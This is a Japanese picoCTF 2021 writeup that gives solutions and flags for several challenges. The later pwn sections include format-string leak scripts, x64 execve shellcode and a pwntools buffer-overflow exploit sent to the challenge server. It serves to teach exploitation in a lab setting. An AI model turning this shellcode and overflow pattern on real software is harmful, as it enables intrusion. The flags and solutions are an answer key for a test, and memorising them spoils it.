picoCTF 2021 writeup

Writer:b1uef0x / Webページ建造途中

概要

簡単な問題中心だが3660pointで184位だった。まだ解ける問題があったにもかかわらず時間不足で終了してしまったのが悔やまれる。コンペ中に解いた問題と後から解いた問題についてそれぞれwriteupを掲載。

Scoreboards

目次I

コンペ中に解いた問題たち

目次II

終わってからpicoGymで解いた問題たち

Obedient Cat (5point)

Welcome問題。flagファイルを読むだけ。picoCTF{s4n1ty_v3r1f13d_28e8376d}

Mod 26 (10point)

rot13.comなどを使ってROT13にかける。cvpbPGS{arkg_gvzr_V'yy_gel_2_ebhaqf_bs_ebg13_GYpXOHqX}picoCTF{next_time_I'll_try_2_rounds_of_rot13_TLcKBUdK}

Ancient History (10point)

ページの?から先が遷移していくが、ソースコードを読むと真ん中付近に遷移するページが書かれている。

solve

縦に読んでいくとpicoCTF{th4ts_k1nd4_n34t_3bed1170}

Python Wrangling (10point)

Pythonで暗号化と復号化を行うende.pyと、暗号化済みのファイルflag.txt.en、パスワードpw.txtが配布される。ende.pyを読む。

ende.py
elif sys.argv[1] == "-d":
    if len(sys.argv) < 4:
        sim_sala_bim = input("Please enter the password:")
    else:
        sim_sala_bim = sys.argv[3]

    ssb_b64 = base64.b64encode(sim_sala_bim.encode())
    c = Fernet(ssb_b64)

    with open(sys.argv[2], "r") as f:
        data = f.read()
        data_c = c.decrypt(data.encode())
        sys.stdout.buffer.write(data_c)

デコードを行う部分を抜粋すると、1つ目の引数に-d、2つ目の引数に読み込むファイル、3つ目の引数にパスワードを指定するようになっている。

solve

Binary Gauntlet 0 (10point)

readelf -h gauntletを調べるとx64のELFファイルであることがわかる。Ghidraを使ってmain関数のデコンパイルを見てみる。

gauntlet decompile:main
undefined8 main(void)

{
  char local_88 [108];
  __gid_t local_1c;
  FILE *local_18;
  char *local_10;
  
  local_10 = (char *)malloc(1000);
  local_18 = fopen("flag.txt","r");
  if (local_18 == (FILE *)0x0) {
    puts(
        "Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are runningthis on the shell server."
        );
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  fgets(flag,0x40,local_18);
  signal(0xb,sigsegv_handler);
  local_1c = getegid();
  setresgid(local_1c,local_1c,local_1c);
  fgets(local_10,1000,stdin);
  local_10[999] = '\0';
  printf(local_10);
  fflush(stdout);
  fgets(local_10,1000,stdin);
  local_10[999] = '\0';
  strcpy(local_88,local_10);
  return 0;
}

1000文字の標準入力を2回行ったあと、2回目の標準入力の結果をload_88にコピーしているが、この変数は108byteしか領域が確保されておらず、バッファオーバーフローを起こす。よって2回目の入力で108字以上の適当な長さを値を入力する。

すると135文字以上でフラグを吐いてくれた。他にも1回目の入力結果をそのままprintfしていることから、FormatStringAttackも通用する。

solve

Wave a flag (10point)

バイナリファイルが配布されるが、フラグが暗号化されていないため中身を直接読むだけでよい。

solve

information (10point)

cat.jpgが配布される。中身を直接読むとbase64でエンコードされた形式の文字列が見つかる。

solve

cGljb0NURnt0aGVfbTN0YWRhdGFfMXNfbW9kaWZpZWR9をbase64デコードするとpicoCTF{the_m3tadata_1s_modified}

Nice netcat... (15point)

問題文のncコマンドで接続すると次のデータが降ってくる。

nc mercury.picoctf.net 22902
112 
105 
99 
111 
67 
84 
70 
123 
103 
48 
48 
100 
95 
107 
49 
116 
116 
121 
33 
95 
110 
49 
99 
51 
95 
107 
49 
116 
116 
121 
33 
95 
100 
51 
100 
102 
100 
54 
100 
102 
125 
10 

ASCIIコードになっていて、文字に戻せばpicoCTF{g00d_k1tty!_n1c3_k1tty!_d3dfd6df}

Weird File (20point)

Wordマクロファイルが配布される。マクロを表示させるとbase64でエンコードされたフラグが見つかる。

solve

cGljb0NURnttNGNyMHNfcl9kNG5nM3IwdXN9をbase64デコードするとpicoCTF{m4cr0s_r_d4ng3r0us}

Transformation (20point)

バイナリファイルが配布されて問題文に''.join([chr((ord(flag[i]) << 8) + ord(flag[i + 1])) for i in range(0, len(flag), 2)])のPythonコード。

enc file

encの中身はバイナリで、flagを問題文のPythonコードでエンコードしたものと考えられる。Pythonコードを読むとflagを2文字ずつ連結したものを文字に戻しているため、分離するPythonコードを書く。

solve.py
with open("enc") as f0 :
        f = f0.read()
        print(''.join([chr(ord(f[i]) >> 8)+chr(ord(f[i]) & 0xff) for i in range(0, len(f), 1)]))

実行結果

solve

Stonks (20point)

ソースコードが配布されて、サーバー上にncして操作する。

vuln.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>

#define FLAG_BUFFER 128
#define MAX_SYM_LEN 4

typedef struct Stonks {
        int shares;
        char symbol[MAX_SYM_LEN + 1];
        struct Stonks *next;
} Stonk;

typedef struct Portfolios {
        int money;
        Stonk *head;
} Portfolio;

int view_portfolio(Portfolio *p) {
        if (!p) {
                return 1;
        }
        printf("\nPortfolio as of ");
        fflush(stdout);
        system("date"); // TODO: implement this in C
        fflush(stdout);

        printf("\n\n");
        Stonk *head = p->head;
        if (!head) {
                printf("You don't own any stonks!\n");
        }
        while (head) {
                printf("%d shares of %s\n", head->shares, head->symbol);
                head = head->next;
        }
        return 0;
}

Stonk *pick_symbol_with_AI(int shares) {
        if (shares < 1) {
                return NULL;
        }
        Stonk *stonk = malloc(sizeof(Stonk));
        stonk->shares = shares;

        int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1;
        for (int i = 0; i <= MAX_SYM_LEN; i++) {
                if (i < AI_symbol_len) {
                        stonk->symbol[i] = 'A' + (rand() % 26);
                } else {
                        stonk->symbol[i] = '\0';
                }
        }

        stonk->next = NULL;

        return stonk;
}

int buy_stonks(Portfolio *p) {
        if (!p) {
                return 1;
        }
        char api_buf[FLAG_BUFFER];
        FILE *f = fopen("api","r");
        if (!f) {
                printf("Flag file not found. Contact an admin.\n");
                exit(1);
        }
        fgets(api_buf, FLAG_BUFFER, f);

        int money = p->money;
        int shares = 0;
        Stonk *temp = NULL;
        printf("Using patented AI algorithms to buy stonks\n");
        while (money > 0) {
                shares = (rand() % money) + 1;
                temp = pick_symbol_with_AI(shares);
                temp->next = p->head;
                p->head = temp;
                money -= shares;
        }
        printf("Stonks chosen\n");

        // TODO: Figure out how to read token from file, for now just ask

        char *user_buf = malloc(300 + 1);
        printf("What is your API token?\n");
        scanf("%300s", user_buf);
        printf("Buying stonks with token:\n");
        printf(user_buf);

        // TODO: Actually use key to interact with API

        view_portfolio(p);

        return 0;
}

Portfolio *initialize_portfolio() {
        Portfolio *p = malloc(sizeof(Portfolio));
        p->money = (rand() % 2018) + 1;
        p->head = NULL;
        return p;
}

void free_portfolio(Portfolio *p) {
        Stonk *current = p->head;
        Stonk *next = NULL;
        while (current) {
                next = current->next;
                free(current);
                current = next;
        }
        free(p);
}

int main(int argc, char *argv[])
{
        setbuf(stdout, NULL);
        srand(time(NULL));
        Portfolio *p = initialize_portfolio();
        if (!p) {
                printf("Memory failure\n");
                exit(1);
        }

        int resp = 0;

        printf("Welcome back to the trading app!\n\n");
        printf("What would you like to do?\n");
        printf("1) Buy some stonks!\n");
        printf("2) View my portfolio\n");
        scanf("%d", &resp);

        if (resp == 1) {
                buy_stonks(p);
        } else if (resp == 2) {
                view_portfolio(p);
        }

        free_portfolio(p);
        printf("Goodbye!\n");

        exit(0);
}

buy_stoncks関数を読むとscanf("%300s", user_buf);で入力したデータをprintf(user_buf);でそのまま出力しているため、FormatStringAttackが可能。

適当に%pを並べてメモリーの中身を表示させる。

FormatStringAttack

出てきたデータの中にフラグが含まれているかもしれないので、バイト列を文字列に変換する。

solve2.py
# %p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
ary = [0x930d3d0,0x804b000,0x80489c3,0xf7edad80,0xffffffff,0x1,0x930b160,0xf7ee8110,0xf7edadc7,0x930c180,0x6,0x930d3b0,0x930d3d0,0x6f636970,0x7b465443,0x306c5f49,0x345f7435,0x6d5f6c6c,0x306d5f79,0x5f79336e,0x62633763,0x65616336,0xffd4007d,0xf7f15af8,0xf7ee8440,0x7ae5d100,0x1,0xf7d77be9,0xf7ee90c0,0xf7eda5c0]

strs = b''
for i in ary:
        strs += (i).to_bytes(length=4, byteorder="little")
print(strs)

結果

solve

GET aHEAD (20point)

問題名からしてHTTPリクエストをHEADに書き換えると解けそうである。Burpsuiteを導入してProxy→Intercept→OpenBrowerでBurpsuite越しのGoogleChromeを起動し、F12でNetworkモニタを開けておく。

Burpsuite Intercept

問題のページを開くと、リクエストを送信する部分で一時停止する。ここで、先頭のGETをHEADに書き換えて、Forwardボタンで送信する。

Burpsuite Intercept2

するとbodyのないレスポンスが返ってくるので、Networkモニタからレスポンスヘッダの中身を見るとflagが見つかる。

solve

Mind your Ps and Qs (20point)

RSA暗号を解く問題。valuesが配布され、中身はc(暗号文)、nとe(公開鍵)。

values
Decrypt my super sick RSA:
c: 240986837130071017759137533082982207147971245672412893755780400885108149004760496
n: 831416828080417866340504968188990032810316193533653516022175784399720141076262857
e: 65537

公開鍵nをyafuを使って素因数分解する。

yafu

手元の環境では32秒で素因数分解完了。

yafu
***factors found***

P42 = 521911930824021492581321351826927897005221
P40 = 1593021310640923782355996681284584012117

ans = 1

これで秘密鍵を作って暗号文cを解読する。拾ってきた次のPythonコードで解く。

solve.py
from math import gcd
from Crypto.Util.number import bytes_to_long, long_to_bytes

p = 1593021310640923782355996681284584012117
q = 521911930824021492581321351826927897005221
c = 240986837130071017759137533082982207147971245672412893755780400885108149004760496
n = 831416828080417866340504968188990032810316193533653516022175784399720141076262857
e = 65537

def lcm(p, q):
  return (p * q) // gcd(p, q)


def _etension_euclid(x,y):
  c0, c1 = x, y
  a0, a1 = 1, 0
  b0, b1 = 0, 1

  while c1 != 0:
     mm = c0 % c1
     qq = c0 // c1

     c0, c1 = c1, mm
     a0, a1 = a1, (a0 - qq * a1)
     b0, b1 = b1, (b0 - qq * b1)

  return c0, a0, b0


l = lcm(p - 1, q - 1)

_c, a, _b = _etension_euclid(e, l)
d = a % l

print(long_to_bytes(pow(c,d,n)))

結果はpicoCTF{sma11_N_n0_g0od_23540368}

Static ain't always noise (20point)

バイナリファイルとシェルスクリプトが配布されるが、バイナリファイル内に平文でフラグが書かれている。身も蓋もない。バイナリファイルの解析手法の学習的な問題となっているので、シェルスクリプトの引数にバイナリファイルを投げてあげるとStringsとDisassemblyの結果を出力してくれる。

ltdis.sh実行結果

作成されたstatic.ltdis.strings.txtを読むとpicoCTF{d15a5m_t34s3r_ccb2b43e}

Tab, Tab, Attack (20point)

Addadshashanammu.zipの中身はフォルダが入れ子になっており、一番奥にfang-of-haynekhtnametというバイナリファイル。

Static ain't always noiseと全く同じで、直接読むかStringsなどを使えばフラグが見つかる。picoCTF{l3v3l_up!_t4k3_4_r35t!_d32e018c}

keygenme-py (30point)

keygenme-trial.pyが配布される。

keygenme-trial.py
#============================================================================#
#============================ARCANE CALCULATOR===============================#
#============================================================================#

import hashlib
from cryptography.fernet import Fernet
import base64



# GLOBALS --v
arcane_loop_trial = True
jump_into_full = False
full_version_code = ""

username_trial = "GOUGH"
bUsername_trial = b"GOUGH"

key_part_static1_trial = "picoCTF{1n_7h3_|<3y_of_"
key_part_dynamic1_trial = "xxxxxxxx"
key_part_static2_trial = "}"
key_full_template_trial = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial

star_db_trial = {
  "Alpha Centauri": 4.38,
  "Barnard's Star": 5.95,
  "Luhman 16": 6.57,
  "WISE 0855-0714": 7.17,
  "Wolf 359": 7.78,
  "Lalande 21185": 8.29,
  "UV Ceti": 8.58,
  "Sirius": 8.59,
  "Ross 154": 9.69,
  "Yin Sector CL-Y d127": 9.86,
  "Duamta": 9.88,
  "Ross 248": 10.37,
  "WISE 1506+7027": 10.52,
  "Epsilon Eridani": 10.52,
  "Lacaille 9352": 10.69,
  "Ross 128": 10.94,
  "EZ Aquarii": 11.10,
  "61 Cygni": 11.37,
  "Procyon": 11.41,
  "Struve 2398": 11.64,
  "Groombridge 34": 11.73,
  "Epsilon Indi": 11.80,
  "SPF-LF 1": 11.82,
  "Tau Ceti": 11.94,
  "YZ Ceti": 12.07,
  "WISE 0350-5658": 12.09,
  "Luyten's Star": 12.39,
  "Teegarden's Star": 12.43,
  "Kapteyn's Star": 12.76,
  "Talta": 12.83,
  "Lacaille 8760": 12.88
}


def intro_trial():
    print("\n===============================================\n\
Welcome to the Arcane Calculator, " + username_trial + "!\n")    
    print("This is the trial version of Arcane Calculator.")
    print("The full version may be purchased in person near\n\
the galactic center of the Milky Way galaxy. \n\
Available while supplies last!\n\
=====================================================\n\n")


def menu_trial():
    print("___Arcane Calculator___\n\n\
Menu:\n\
(a) Estimate Astral Projection Mana Burn\n\
(b) [LOCKED] Estimate Astral Slingshot Approach Vector\n\
(c) Enter License Key\n\
(d) Exit Arcane Calculator")

    choice = input("What would you like to do, "+ username_trial +" (a/b/c/d)? ")
    
    if not validate_choice(choice):
        print("\n\nInvalid choice!\n\n")
        return
    
    if choice == "a":
        estimate_burn()
    elif choice == "b":
        locked_estimate_vector()
    elif choice == "c":
        enter_license()
    elif choice == "d":
        global arcane_loop_trial
        arcane_loop_trial = False
        print("Bye!")
    else:
        print("That choice is not valid. Please enter a single, valid \
lowercase letter choice (a/b/c/d).")


def validate_choice(menu_choice):
    if menu_choice == "a" or \
       menu_choice == "b" or \
       menu_choice == "c" or \
       menu_choice == "d":
        return True
    else:
        return False


def estimate_burn():
  print("\n\nSOL is detected as your nearest star.")
  target_system = input("To which system do you want to travel? ")

  if target_system in star_db_trial:
      ly = star_db_trial[target_system]
      mana_cost_low = ly**2
      mana_cost_high = ly**3
      print("\n"+ target_system +" will cost between "+ str(mana_cost_low) \
+" and "+ str(mana_cost_high) +" stone(s) to project to\n\n")
  else:
      # TODO : could add option to list known stars
      print("\nStar not found.\n\n")


def locked_estimate_vector():
    print("\n\nYou must buy the full version of this software to use this \
feature!\n\n")


def enter_license():
    user_key = input("\nEnter your license key: ")
    user_key = user_key.strip()

    global bUsername_trial
    
    if check_key(user_key, bUsername_trial):
        decrypt_full_version(user_key)
    else:
        print("\nKey is NOT VALID. Check your data entry.\n\n")


def check_key(key, username_trial):

    global key_full_template_trial

    if len(key) != len(key_full_template_trial):
        return False
    else:
        # Check static base key part --v
        i = 0
        for c in key_part_static1_trial:
            if key[i] != c:
                return False

            i += 1

        # TODO : test performance on toolbox container
        # Check dynamic part --v
        if key[i] != hashlib.sha256(username_trial).hexdigest()[4]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[5]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[3]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[6]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[2]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[7]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[1]:
            return False
        else:
            i += 1

        if key[i] != hashlib.sha256(username_trial).hexdigest()[8]:
            return False



        return True


def decrypt_full_version(key_str):

    key_base64 = base64.b64encode(key_str.encode())
    f = Fernet(key_base64)

    try:
        with open("keygenme.py", "w") as fout:
          global full_version
          global full_version_code
          full_version_code = f.decrypt(full_version)
          fout.write(full_version_code.decode())
          global arcane_loop_trial
          arcane_loop_trial = False
          global jump_into_full
          jump_into_full = True
          print("\nFull version written to 'keygenme.py'.\n\n"+ \
                 "Exiting trial version...")
    except FileExistsError:
        sys.stderr.write("Full version of keygenme NOT written to disk, "+ \
                          "ERROR: 'keygenme.py' file already exists.\n\n"+ \
                          "ADVICE: If this existing file is not valid, "+ \
                          "you may try deleting it and entering the "+ \
                          "license key again. Good luck")

def ui_flow():
    intro_trial()
    while arcane_loop_trial:
        menu_trial()



# Encrypted blob of full version
full_version = \
b"""
gAAAAABgT_nv39GmDRYkPhrc2hba8UHCHnSTHqdFxXNdemW0svN2hYYw-6n56ErD3NrQYQlNL0sfdsGTmvWKxh5gVRGeCv5kNq-l6PpL0Fzzjo1x_E2Jjbw_xWKIwbvd7BRXFQZKnhs2ehcSEacqES4gsVMOExHUetxFtmYiHLMB0_kqueeT8zf_vcXAPzbiYA0hvD_QSAXzPiKwM2IsGpGzIS5O4_ODq6-knKszeQFstWKFNH_-jNAylCTWSQpPrWqJxCWhSINPhOZ9-PkBsy8lpqmksa6ZBCMvej4W9YFldupRHNoHUHzt8xScEvcsTzIgNmvzOsCBSf5GJGHbLw4yVjsNWmbKRKiE_6BrRMHZW01hcYbfNa1TdJ1MLUX64e_tpDDjMfKvlXZ1qMx4GDwR2lFza9_fm98zoaV-ccgQ1qiSf3wDU1KuKxd9e9TbUAn2TTJfVH9d6IU8emK3QWcn8XRFcMRzVMvlBuNnCVrZmHCYZUzRmwneo15FS-giH63hPzfvjuRfzwp1sFa3wqo5YTJHWejsU0suORvViiDuIpDozmlXTLKLhKj51NkI6QqqDXhMcWkHwKy9V1LN2Furmz_rPbahbNAxnTAWpjF0VELQAvyNHdVy0yxBIbbOJq1oMvHiDJo2adecADc8hMRb4RZJoLqokXxtKLulywhagQjX9METL9bw1YTP9orWXAMwKhTdDbEUdnHViEq8MHo5DcnVvH0yPlnc9Zn2s3_UOfswnhz5vKm0ZbDc5aX0sFTNiMJVjjCrMhQ6HYp5yf_ybd9Tcx_u6xLtwUZBERZWt931n4hQN8n4C_XmDsMehuoSuFmi2NpAuDhX2rcEQK86Ito0KYp-8n2RmbOjzcjo5V5aqHXujmEfX8GYIUWEUKXVcFouF5rZtxtNz3Wsm_j4tqL4Tom27YE5eK7LQSi5B-AsmSF5JGTam2mWeykOGyE-3pHZmNxxkRfdRjxM0uFV13yjQSLFgNIkZ--8n0uAoTb62c7ZFxoFItMNrWasd5zMvp9Nqq70se2KOUieV6VbPJdSL0Sf1uGDmbRFdMmopDm-AuS-7-MLBGiOPmwXtse_9yXjUggeuo3UU4bxyQxCgwh17Ul1ZgxGeopcU7s7Sjm3rqxwlaJWTPRzeF5AXxtZHgyyZjwQ3EB9xYeoMCFh6gsF06bcwnK1Esgar7IYR3JBUfBH6KnWiTyhx_dLkUdomAPMPY0cRoreYsXmFKkEWhYg-TCdifL0nRT8BTEhVyUwFTvqn4PJknTn8NXelYu8co3n8_PoxsOnTrbdNXBJP9vD8Qp2oMi0ZsyCIeekwuX7MCcK4oFVpLGwOrhJdQhJWVqxQdt0ULS-ROB08eOglsXifnVrDl0hi2B0EYcWxxGs-CzsXJPSBvqKWti9XdU5oIhuUH2d7jnAx0pM9tTKqNiL5sfL2mhakMI8XGcljZw2KI0ldgaOW_UvAgh8N3FgKUR4qh_iJ0raoQaaJJFbFneKRoDNT3QsywP_qj6avStEbMGnhN3iBOoc7S3VrN8853X5fow2yDUJaexAKjpYGphE7K4e1g3fHWYjvgnJ-AoXfqALOwDLzaLRjVHSsgF1TQl39XgiAgEzJL-7w_zBn_Hxl5BfYtqe4vxf4PVMZGvof0jXMpM4W-AQ8IW-41LbNgNbPnRuTLubiJCV7MWYu8J7wO0ADSqgv0aXK60IOl0NphAzflWRvjytyT1CljFa0wcsBZvTyyks_ZOoa2__iAj3VlQjcrQynzrxoT5NASs_k51IYPr913nkfOT29oekedYMcxaHzlICLXmjlVHctJfATgYue7xc1BotMDO0Uj5q-wfcg03dq1cZmJ_qhe3AqWrZt3RraYVcvTT2B9Nu2KHBTyjQvCsQMXyFjlqasFZ4jSuNcqybxS3ocP4z-5oGV43zsVjr6YAZyjQiUoLJN6i6h39G5YfH4SStpbTcj7WXWj9WNqxcrF_swHNeIkOPByEa34TIXyJvEOGefZOw7h-F-hxCGuho7LOwabIopS6IykeSLMw1Ra4COmYN-VamVHVUGo50AVEXcmcnHL9NmXP_812Y_sSFdNPo-jglCzjv3KS5jajY1tReYKC9ehz5phUgReaVkiawSc5Tm5BZ42dfJuYZeTwnknsgTWiyGt3Ov6PddqD_40Ye6oHMLO0VjjT_Ul8GWh8hhmxcWxbN8H6dYwLJD0_-YbXvFpRQSi8IQ7BKjY0ZrZm1_tYO87Gg5YcUJznce53ltjXtGCgNIqywt3FDyJ709hOATCIHWf_u-Jfmc7QcIuSss7Rjh68ZgQoQu0Ybjt0Y5bEGEymuyYbgvdUwW8xTksnpl9Jju4x8hMORUQtkyxD0SBG1j7OEsDCK4axMjWxBj4D0liLOSwUuCWr5COJ0Bf_SlydQmufol1HzVIwxTSUG2m7gXEO6cv6gvBIzK0DdcUMjEzXNnqa8davVM0tFvXfuQcgjz8C7tj4-fu4UvikQyAvO5PdSIhClyl06fAyuUmmJgKvyyuoX3plOaMqq5rJbCzXl8OV1anQzSscXIR2Ur_ePhX5IoZNe2XifzLkgVk-lc-Z0gj5Q4WRuo2IYxOcJG-woHvml0oHDY-hQU-gNflauD38YQcfpwdXV0WgcQseWgKNlXfEuldWVktYXn8JNvqVUTOXrNJBEGB9RDyQqp9IubjhQqOJh31eunKYq6oTx4PgjSii0QOKaLKkonBsYtAbb3cUwSoCvek719cI2tp33XWYq2UqQ8J74PtRNzG061_RR_TxHKyWBll-6ii9dgFPki104UzjFkFXkYPzButkzcvcXIDAWD2RNBK6-bshYKS2xr5XxJXgr3QBTWdjrm-p6EwlbFd4DGDR7ran7b38NRkrFD0ignYiKc68xlAPGg9E084LBVXCVlRas8YvYReJH_sl6ZR7faNme2F-qYFzbcvD3jmp5fX0nzvyJuTGWa51qh7siaVBxHETZ_rzoqTh-tr91b_aHPFdcQMfe1Pd-GBQiy9e5N41GQ4MCpvzs87kV5spprXd_DOKnkjeC5bJDFUoIdMk5r-UO2boRH0tHONCbUOzw7HOgFcJUA13yjtvGGbfPPMHvhFMtMDMRw8gacd-5WHaLeh05yBy4UjT_9flAGAqYMWbvrhkAbwEYPJ0abxp1weANOcYZ-gMHm7kn9kF_eTpzKXxWsViR0AekfepQICVZI1eJzLjV2w6qWq7yDA2ALUxFW10GuEqhP9DI_OVVg6AILHPgokj0pcVA9zUizVTWaGnB1Te8_Zlw5Ik-MwNFPJHYLAug14JI4iYeY0zVsgvkpPJmg_dJD4U7Lr4PBwANvyz5NmGZiITqslCAwUDRMK10u3o2ZmSMn-MuBje_9NRYvh8SRvtbWCB46Yj1YMSJvaqci0MaJK8FdPeDPJ84uSK3eWzq75X96k9nVPnHPnlLkcls3480mlq_81V9MTWlLcvgqhEU4FxE7lGjSF9orw7HCK_9lx2rXwuFAaovFweQw2bu7Nr7pH1X82y0XQCI7aeP687QHdONEoIkWikG5Oub8kEGTBq1D4yeRLocq8dPSoRUAPOb6g-QVAOlu3fiJBGIikubJUWSdQ97pbLgxhnpCrRYS3uFZVo-4f5lnwBNEHrR7DuVc13M-rkUXO-oeqrz6Txmr-xAjYtWrg7IsMr-UPihTJC0Gsmm1FAlXtVOmuKYjwOV7DG4aPzE1MjDAHMWidls3ECcueaLdUV-oY6Hw3WwOK_Nnj10sPmWSFSuMPeOBwPEL2M-1tCkbOvilqccCAelhS87qU_fDUKzD68TV1tJIoXEKW4sdwAVGxguEv1BAm4G7LhrH08McB5n3ja5I_3IqkeYdyHaxAXJ-O2thg==
"""



# Enter main loop
ui_flow()

if jump_into_full:
    exec(full_version_code)

重要なのはcheck_key関数で、スクリプトを実行して(c) Enter License Keyを選んだ先でkeyとして正しいフラグを入力すればよい。フラグの値はkey_partの部分に書かれており、picoCTF{1n_7h3_|<3y_of_xxxxxxxx}の形式でxxxxxxxxが今回見つける文字列になる。xxxxxxxxに相当する部分では、GOUGHの文字列のSHA256をとったe8a1f9146d32473b9605568ca66f7b5c2db9f271f57a8c8e9e121e48accddf2fの一部とxxxxxxxxを比較しており、SHA256値の先頭を0として4,5,3,6,2,7,1,8の順番でxxxxxxxxを比較しているので、答えはf911a486。フラグはpicoCTF{1n_7h3_|<3y_of_f911a486}

ちなみにフラグを入力するとkeygenme.pyが生成される。

Binary Gauntlet 1 (30point)

Gauntletシリーズ。Ghidraを使ってmain関数のデコンパイルを見てみる。

gauntlet decompile:main
undefined8 main(void)

{
  char local_78 [104];
  char *local_10;
  
  local_10 = (char *)malloc(1000);
  printf("%p\n",local_78);
  fflush(stdout);
  fgets(local_10,1000,stdin);
  local_10[999] = '\0';
  printf(local_10);
  fflush(stdout);
  fgets(local_10,1000,stdin);
  local_10[999] = '\0';
  strcpy(local_78,local_10);
  return 0;
}

1000文字の標準入力を2回行ったあと、2回目の標準入力の結果をlocal_78にコピーしている操作は同様だが、flag.txtが読み込まれていないため、シェルコードを実行させる必要がある。最初にprintf("%p\n",local_78);で入力をコピーするlocal_78のアドレスを教えてくれるので、このアドレスをジャンプ先アドレスとして、RSPをジャンプ先アドレスに書き換えてlocal_78先頭に入ったシェルコードを実行させたい。2回目の入力に次のフォーマットで投入する。

[シェルコード]+[パディング]+[ジャンプ先アドレス]

http://shell-storm.org/shellcode/からx64用のシェルコードを探す。

shell-storm

ここから次のシェルコードを用意した。

\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05

objdump -M intel -d gauntletでDisAssemblyを出力してmain関数を確認。

gauntlet disAssembly:main
0000000000400687 <main>:
  400687:       55                      push   rbp
  400688:       48 89 e5                mov    rbp,rsp
  40068b:       48 83 c4 80             add    rsp,0xffffffffffffff80
  40068f:       89 7d 8c                mov    DWORD PTR [rbp-0x74],edi
  400692:       48 89 75 80             mov    QWORD PTR [rbp-0x80],rsi
  400696:       bf e8 03 00 00          mov    edi,0x3e8
  40069b:       e8 e0 fe ff ff          call   400580 <malloc@plt>
  4006a0:       48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
  4006a4:       48 8d 45 90             lea    rax,[rbp-0x70]
  4006a8:       48 89 c6                mov    rsi,rax
  4006ab:       48 8d 3d 22 01 00 00    lea    rdi,[rip+0x122]        # 4007d4 <_IO_stdin_used+0x4>
  4006b2:       b8 00 00 00 00          mov    eax,0x0
  4006b7:       e8 a4 fe ff ff          call   400560 <printf@plt>
  4006bc:       48 8b 05 8d 09 20 00    mov    rax,QWORD PTR [rip+0x20098d]        # 601050 <stdout@@GLIBC_2.2.5>
  4006c3:       48 89 c7                mov    rdi,rax
  4006c6:       e8 c5 fe ff ff          call   400590 <fflush@plt>
  4006cb:       48 8b 15 8e 09 20 00    mov    rdx,QWORD PTR [rip+0x20098e]        # 601060 <stdin@@GLIBC_2.2.5>
  4006d2:       48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
  4006d6:       be e8 03 00 00          mov    esi,0x3e8
  4006db:       48 89 c7                mov    rdi,rax
  4006de:       e8 8d fe ff ff          call   400570 <fgets@plt>
  4006e3:       48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
  4006e7:       48 05 e7 03 00 00       add    rax,0x3e7
  4006ed:       c6 00 00                mov    BYTE PTR [rax],0x0
  4006f0:       48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
  4006f4:       48 89 c7                mov    rdi,rax
  4006f7:       b8 00 00 00 00          mov    eax,0x0
  4006fc:       e8 5f fe ff ff          call   400560 <printf@plt>
  400701:       48 8b 05 48 09 20 00    mov    rax,QWORD PTR [rip+0x200948]        # 601050 <stdout@@GLIBC_2.2.5>
  400708:       48 89 c7                mov    rdi,rax
  40070b:       e8 80 fe ff ff          call   400590 <fflush@plt>
  400710:       48 8b 15 49 09 20 00    mov    rdx,QWORD PTR [rip+0x200949]        # 601060 <stdin@@GLIBC_2.2.5>
  400717:       48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
  40071b:       be e8 03 00 00          mov    esi,0x3e8
  400720:       48 89 c7                mov    rdi,rax
  400723:       e8 48 fe ff ff          call   400570 <fgets@plt>
  400728:       48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
  40072c:       48 05 e7 03 00 00       add    rax,0x3e7
  400732:       c6 00 00                mov    BYTE PTR [rax],0x0
  400735:       48 8b 55 f8             mov    rdx,QWORD PTR [rbp-0x8]
  400739:       48 8d 45 90             lea    rax,[rbp-0x70]
  40073d:       48 89 d6                mov    rsi,rdx
  400740:       48 89 c7                mov    rdi,rax
  400743:       e8 08 fe ff ff          call   400550 <strcpy@plt>
  400748:       b8 00 00 00 00          mov    eax,0x0
  40074d:       c9                      leave  
  40074e:       c3                      ret    
  40074f:       90                      nop

gdb-pedaでgauntletを立ち上げて、strcpy直後にbreakpointを仕掛けておく。b *0x700748

gdbをstartrunで標準入力まで実行させ、1回目の入力に適当な文字列、2回目の入力に適当な長い文字列を入力する。今回は最終的に128文字の次の文字列を入力してみた。

AAAAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa12345678

breakpointで止まるので、nで進めてretまで来たところでRSPレジスタの参照先が入力文字列の12345678になっていることを確認。この8文字をジャンプ先のアドレスに変更すればよい。

gdb-peda

PwnToolsでサーバと交信する次のPythonコードを作成。出力されたアドレスを取り込んでエクスプロイトコードを作成して送信する。

solve.py
from pwn import *

shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
padding = b''

io = remote('mercury.picoctf.net',24284)
addr = io.recvline().decode()
print((int(addr,16)).to_bytes(8, "little"))
io.sendline("hhhhhhhh")
for i in range(128-len(shellcode)-8):
        padding += b'a'
payload = shellcode + padding + (int(addr,16)).to_bytes(8, "little")
print(payload)
io.sendline(payload)
